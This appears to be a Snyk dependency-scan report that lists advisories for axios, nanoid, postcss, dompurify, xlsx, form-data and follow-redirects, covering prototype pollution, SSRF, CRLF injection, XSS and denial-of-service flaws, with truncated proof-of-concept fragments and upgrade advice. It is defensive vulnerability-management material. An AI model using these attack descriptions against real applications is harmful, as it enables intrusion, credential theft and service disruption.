CRITICAL	Prototype Pollution snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution when the Object.prototype has been polluted via a different exploit. The following properties in the HTTP adapter configuration may be manipulated, as they do not restrict their own property accesses with hasOwnProperty. An attacker can inject Authorization headers into the auth property, redirect external requests via the baseURL property or internal...
HIGH	Prototype Pollution snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a proto property, typically by leveraging JSON.parse(). PoC ``js import axios from "axios"; const maliciousConfig = JSON.parse('{ "proto": { "x": 1 } }); await axios.get("https:...

Severity	Rule	Location	Description
HIGH	HTTP Response Splitting snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison...
HIGH	Improperly Controlled Modification of Dynamically-Determined Object Attributes snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes through the transformResponse and request serialization paths in the defaults configuration. An attacker can influence JSON parsing and request handling by supplying a crafted object with inherited parseReviver, responseType, transitional, env, or formSerializer properties, causing Axios to re...
HIGH	Uncontrolled Recursion snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization. Remediation Upgrade axios to version 0.31.1, 1.15.1 or higher. Refere...
HIGH	Prototype Pollution snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into Object.prototype.transformResponse prior to the request. Note: This is only exploitable if a separate...

Severity	Rule	Location	Description
HIGH	Server-side Request Forgery (SSRF) snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present. Note: This...
HIGH	Prototype Pollution snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a pro...
HIGH	Insertion of Sensitive Information Into Sent Data snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server. Note: This is only exploitable...
HIGH	Improper Removal of Sensitive Information Before Storage or Transfer snyk	follow-redirects@1.15.11	Overview Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the cross-domain redirects that do not strip custom authentication headers (such as X-API-Key, X-Auth-Token, Api-Key, Token). An attacker can obtain sensitive authentication headers by triggering a cross-domain redirect that causes custom authentication headers to be forwarded to an attacker-controlled domain. Remediation Upgrade follow-redirects to version 1.16.0...

Severity	Rule	Location	Description
HIGH	Infinite loop snyk	nanoid@3.3.11	Overview Affected versions of this package are vulnerable to Infinite loop through the customAlphabet and nanoid functions in nanoid/non-secure. An attacker can hang the calling thread by supplying a negative size to either function, causing the loop counter to decrement from a negative value and never reach its termination condition. This affects applications that pass unvalidated attacker-controlled size values into the non-secure ID generator, where a single malicious request can spin the pro...
HIGH	Infinite loop snyk	nanoid@3.3.11	Overview Affected versions of this package are vulnerable to Infinite loop through the customRandom function in the customRandom implementation. An attacker can hang the calling thread by supplying a size of 0 to customRandom, which causes its ID generation loop to never reach a terminating condition. This breaks any application path that accepts an unvalidated, attacker-controlled size and passes it into customRandom, leaving the process stuck while handling the request. Remediation Upgrade nan...
HIGH	Integer Overflow or Wraparound snyk	nanoid@3.3.11	Overview Affected versions of this package are vulnerable to Integer Overflow or Wraparound through the fillPool logic in index.js and index.cjs. An attacker can make subsequent ID generation deterministic by supplying an oversized size value to nanoid(size), which is coerced into a negative 32-bit integer and corrupts the shared random pool state. After that call, all later IDs produced in the same process lose their randomness and uniqueness, breaking session tokens, CSRF tokens, and other ide...
HIGH	Directory Traversal snyk	postcss@8.5.6	Overview postcss is a PostCSS is a tool for transforming styles with JS plugins. Affected versions of this package are vulnerable to Directory Traversal via the process function. An attacker can access arbitrary files and obtain the first ~10 bytes of their contents by supplying a crafted sourceMappingURL comment in CSS input, which is parsed and dereferenced without proper validation. This can lead to disclosure of sensitive information, confirmation of file existence, and potential denial of S...

Severity	Rule	Location	Description
HIGH	Directory Traversal snyk	postcss@8.5.6	Overview postcss is a PostCSS is a tool for transforming styles with JS plugins. Affected versions of this package are vulnerable to Directory Traversal via the loadMap process. An attacker can access the contents of arbitrary .map files on the filesystem by submitting crafted CSS containing a sourceMappingURL comment with a path traversal or absolute path, which is then loaded and its content merged into the resulting source map returned by the process. Details A Directory Traversal attack (als...
HIGH	Regular Expression Denial of Service (ReDoS) snyk	xlsx@0.18.5	Overview xlsx is a Parser and writer for various spreadsheet formats. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in multiple functions, allowing an attacker to crash the system by submitting specially crafted input. Note: This vulnerability was fixed in version 0.20.2 of SheetJS that is distributed only via the authoritative source for SheetJS modules. See this issue (https://github.com/SheetJS/sheetjs/issues/2667) for full details. PoC ``js...
MEDIUM	Allocation of Resources Without Limits or Throttling snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits. Remediation Upgrade axios to version 0.30.0, 1.12.0 or higher. References - GitHub Commit
MEDIUM	Unintended Proxy or Intermediary ('Confused Deputy') snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NOPROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy. Note:...

Severity	Rule	Location	Description
MEDIUM	Improper Encoding or Escaping of Output snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling. Notes: Standard axios request flow (buildURL)...
MEDIUM	Server-side Request Forgery (SSRF) snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy c...
MEDIUM	Allocation of Resources Without Limits or Throttling snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth...
MEDIUM	Allocation of Resources Without Limits or Throttling snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to...

Severity	Rule	Location	Description
MEDIUM	Insertion of Sensitive Information Into Sent Data snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requ...
MEDIUM	CRLF Injection snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to CRLF Injection through the FormDataPart multipart header construction in the form-data streaming helper. An attacker can inject arbitrary multipart headers by supplying a Blob-like value whose type contains \r or \n, causing the generated Content-Type line to break and append attacker-controlled header fields. This lets a crafted upload alter the multipart body sent by t...
MEDIUM	Prototype Pollution snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging. This lets a malicious page or library alter how responses are handled, including making...
MEDIUM	Prototype Pollution snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions. Details Prototype Pollution is a vulnerability a...

Severity	Rule	Location	Description
MEDIUM	Regular Expression Denial of Service (ReDoS) snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex...
MEDIUM	Allocation of Resources Without Limits or Throttling snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the fetch adapter when finite size limits are configured but not enforced. An attacker can exhaust server resources by sending or receiving oversized request or response bodies, such as through large data: URLs or attacker-controlled uploads, bypassing the intended boundaries. Note: This is only exploitable if the a...
MEDIUM	Insertion of Sensitive Information Into Sent Data snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin. Note: This is only exploitable if the application is running in...
MEDIUM	Allocation of Resources Without Limits or Throttling snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the buildPath() function of lib/helpers/formDataToJson.js, which recurses over bracket-delimited FormData key segments without a depth limit. An attacker can crash the Node.js process by supplying a FormData field name with tens of thousands of nested bracket segments, such as a[x][x][x]..., which exhausts the JavaS...

Severity	Rule	Location	Description
MEDIUM	Uncontrolled Recursion snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Uncontrolled Recursion in the buildPath() function of lib/helpers/formDataToJson.js, which recurses once per FormData key path segment without enforcing a maximum depth. An attacker can crash the process by supplying a FormData field name with thousands of nested bracket segments, such as a[x][x][x]..., which drives formDataToJson() into recursion that exhausts the JavaS...
MEDIUM	Prototype Pollution snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution in the Basic authentication header construction in lib/adapters/http.js and lib/helpers/resolveConfig.js, which read the username and password from the auth object without own-property checks, so the reads traverse the prototype chain. An attacker who can pollute Object.prototype.username or Object.prototype.password can inject or override the Basic a...
MEDIUM	Uncontrolled Recursion snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Uncontrolled Recursion in the defaultVisitor function of lib/helpers/toFormData.js, which calls JSON.stringify() on a value when its top-level key ends in {}, before the maxDepth guard can inspect the nested structure. An attacker can crash the process by supplying an object with a top-level key ending in {} and thousands of levels of nesting, which native JSON.stringify...
MEDIUM	Prototype Pollution snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution in the getMergedValue() function of lib/core/mergeConfig.js, which clones nested option objects such as auth and paramsSerializer into plain {} containers that inherit from Object.prototype, so downstream reads in lib/helpers/resolveConfig.js, lib/adapters/http.js, and lib/helpers/buildURL.js pick up polluted values without own-property checks. An atta...

Severity	Rule	Location	Description
MEDIUM	Prototype Pollution snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution in the Node HTTP adapter (lib/adapters/http.js), which reads config.proxy through the prototype chain after a request interceptor returns a plain-object clone that lib/core/dispatchRequest.js dispatches without re-applying the null-prototype hardening. An attacker who can pollute Object.prototype.proxy can route a victim's outbound plaintext HTTP...
MEDIUM	Allocation of Resources Without Limits or Throttling snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the getBodyLength() and resolveBodyLength() functions of lib/adapters/fetch.js, which lack a branch for WHATWG ReadableStream bodies, so the resolved length is undefined and the pre-dispatch maxBodyLength check is skipped. An attacker who controls a streamed request body can transmit uploads that exceed the configur...
MEDIUM	Prototype Pollution snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution in the bodyless method aliases in lib/core/Axios.js, the proxy handling in lib/adapters/http.js, and the paramsSerializer read in lib/helpers/resolveConfig.js, which read data, proxy, and paramsSerializer off the config without own-property checks, so polluted Object.prototype values are picked up. An attacker who can pollute Object.prototype can atta...
MEDIUM	Cross-site Scripting (XSS) snyk	dompurify@3.4.7	Overview dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the INPLACE process when attacker-controlled live DOM nodes are sanitized. An attacker can execute arbitrary scripts in the context of the application by passing a manipulated DOM node with a spoofed nodeName property, causing malicious script elements to be retained and executed upon insertion into the document. PoC ``js <!doctype html>...

Severity	Rule	Location	Description
MEDIUM	Cross-site Scripting (XSS) snyk	dompurify@3.4.7	Overview dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the SAFEFORTEMPLATES function. An attacker can inject template expressions that survive sanitization inside <template> element content by splitting malicious expressions across adjacent text nodes, which are not properly scrubbed. This allows execution of arbitrary code or exfiltration of sensitive data if a downstream template engine ev...
MEDIUM	Improper Initialization snyk	dompurify@3.4.7	Overview dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG. Affected versions of this package are vulnerable to Improper Initialization in the DOMPurify.setConfig() API when an uponSanitizeAttribute hook is registered that mutates allowedAttributes. An attacker can cause persistent modification of the attribute allowlist by submitting specially crafted content, resulting in unauthorized attributes being permitted in all subsequent sanitization calls. Remediation Upgrade dompurify to...
MEDIUM	Cross-site Scripting (XSS) snyk	dompurify@3.4.7	Overview dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the INPLACE sanitization process when a hook removes an element, leaving its detached descendants with executable event handlers. An attacker can execute arbitrary JavaScript code in the application's origin by supplying crafted HTML that leverages this behavior. This is only exploitable if the application uses the INPLACE configuration a...
MEDIUM	CRLF Injection snyk	form-data@4.0.4	Overview Affected versions of this package are vulnerable to CRLF Injection via the _multiPartHeader function when untrusted input is provided via field or filename to FormData#append. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers. PoC ``js const FormData = require('form-data'); const form = new FormData(); for...

Severity	Rule	Location	Description
MEDIUM	Cross-site Scripting (XSS) snyk	postcss@8.5.6	Overview postcss is a PostCSS is a tool for transforming styles with JS plugins. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in CSS Stringify Output. An attacker can execute arbitrary JavaScript code in the context of the affected web page by submitting crafted CSS containing <code></style></code> sequences that are not properly escaped when embedded within HTML <code><style></code> tags. PoC <code>``js const postcss = require('postcss'); // Parse user CSS and re-stringi...</code>
MEDIUM	Directory Traversal snyk	postcss@8.5.6	Overview postcss is a PostCSS is a tool for transforming styles with JS plugins. Affected versions of this package are vulnerable to Directory Traversal in the <code>PreviousMap.loadFile()</code> method of <code>lib/previous-map.js</code> , which nests its traversal guard inside an <code>if (cssFile)</code> branch that is skipped when the <code>from</code> option is unset, leaving only a check that the target path ends in <code>.map</code> . An attacker can read arbitrary <code>.map</code> files from the filesystem, disclosing their sources paths and sourcesContent through...
MEDIUM	Prototype Pollution snyk	xlsx@0.18.5	Overview xlsx is a Parser and writer for various spreadsheet formats. Affected versions of this package are vulnerable to Prototype Pollution when reading specially crafted files. Note: 1) The issue is resolved in version 0.19.3 of SheetJS that is distributed only via the authoritative source for SheetJS modules. See this issue (https://github.com/SheetJS/sheetjs/issues/2667) for full details. 2) Workflows that do not read arbitrary files (for example, exporting data to spreadsheet files) are un...
LOW	Protection Mechanism Failure snyk	dompurify@3.4.7	Overview dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG. Affected versions of this package are vulnerable to Protection Mechanism Failure through the <code>clearConfig</code> function. An attacker can execute arbitrary scripts in a Trusted Types sink by influencing a previously supplied <code>TRUSTEDTYPEPOLICY</code> on a reused instance and later triggering output with <code>RETURNTRUSTEDTYPE: true</code> . Note: This is only exploitable if a <code>DOMPurify</code> instance is reused across trust boundaries and a less-trusted int...

Severity	Rule	Location	Description
LOW	Incomplete List of Disallowed Inputs snyk	dompurify@3.4.7	Overview dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG. Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs in the CUSTOMELEMENTHANDLING. An attacker can cause security-relevant attributes to be preserved on allowed custom elements by leveraging the bypass of the afterSanitizeElements hook, which may result in these attributes being re-injected into an HTML sink such as innerHTML and executed in a later context. Note: This is only exploitable...